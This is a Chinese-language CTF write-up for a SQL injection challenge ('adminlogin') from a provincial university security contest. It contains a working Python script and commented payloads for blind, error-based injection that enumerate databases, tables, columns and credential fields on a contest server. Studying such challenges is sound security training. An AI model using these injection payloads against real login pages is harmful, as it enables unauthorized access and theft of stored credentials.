wp篇 adminlogin【第四届江西省高校网络安全技能大赛初赛】

一，题目描述

简而言之，附件中是一条连接，题目访问url/admin.php可以进入下图页面很明显，这是一道SQL注入。

二，环境复现

环境复现的附件我就放在，资源里面了，大家可以免费下载。（资源审核中）
需要创建一个数据库ddctf（解释一下，我的英文ID是daydream，本人没有冒犯"DDCTF"的意思）,然后引用source.sql。
admin.php也经过了测试，waf使用的是非完全版——即不一定完全与比赛当时的waf相同。

三，playload和exp

playload放在exp里面了。

# -*- coding:utf-8 -*-
import requests

url = 'http://1.116.103.114:84/admin/admin.php'
strings = "abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ_{},-\\{\\}_"
#爆库：user=' or (select if(group_concat(distinct table_schema) regexp '^{}',exp(100000),1) from information_schema.tables)#&pass=mochu7&submit=%E7%99%BB%E5%BD%95
#结果InfORmATIOn_SchEmA,ddcTf,mYSQl,PERfORmAncE_SchEmA,SEcURITY
#爆表：user=' or (select if(group_concat(distinct table_name) regexp '^{}',exp(100000),1) from information_schema.tables where table_schema regexp 'ddctf')#&pass=mochu7&submit=%E7%99%BB%E5%BD%95
#结果：user_flag
#爆列名:user=' or (select if(group_concat(distinct column_name) regexp '^{}',exp(10000),1) from information_schema.columns where table_name regexp 'flag')#&pass=mochu7&submit=%E7%99%BB%E5%BD%95
#结果：id,username,password
#爆字段：user=' or (select if(group_concat(password) regexp '^{}',exp(10000),1) from ddctf.user_flag)#&pass=mochu7&submit=%E7%99%BB%E5%BD%95
#结果：admin,daydream,flag{the_sql_f14g_0f_daydream},874a0300d72a3676c4413ce52454eff7
payload = "user=' or (select if(group_concat(distinct table_name) regexp '^{}',exp(100000),1) from information_schema.tables where table_schema regexp 'ddctf')#&pass=mochu7&submit=%E7%99%BB%E5%BD%95"
res = ''
f = ''
headers = {'Content-Type':'application/x-www-form-urlencoded'}
for i in range(20):#20为字符长度
    for c in strings:
        if res == '':
            pay = payload.format(c)
            print(pay)
            r = requests.post(url=url, data=pay,headers=headers).text
            #print(pay)
        else:
            pay = payload.format(res+c)
            r = requests.post(url=url, data=pay,headers=headers).text
            #print(pay)

        #print(r)
        if 'DOUBLE' in r:#DOUBLE为布尔式返回结果
            res += c
            f += c
            print(f)
            break

四，学习与收获

第一此了解到mysql可以使用正则匹配（好吧，就是我没有系统学习mysql），还学习了group contact的相关语法。把我的学习结果附在下面吧。

五，个人心得

主要是这篇大佬博客的具体内容写得不是很详细
还有描述不到位的地方，我就不提了，相信大家看上面的总结应该可以很快的理解这道题目的原理。
这里吐槽大佬一下，注入的流程不应该是“爆库”->“爆表”->“爆列名”->“爆字段”吗？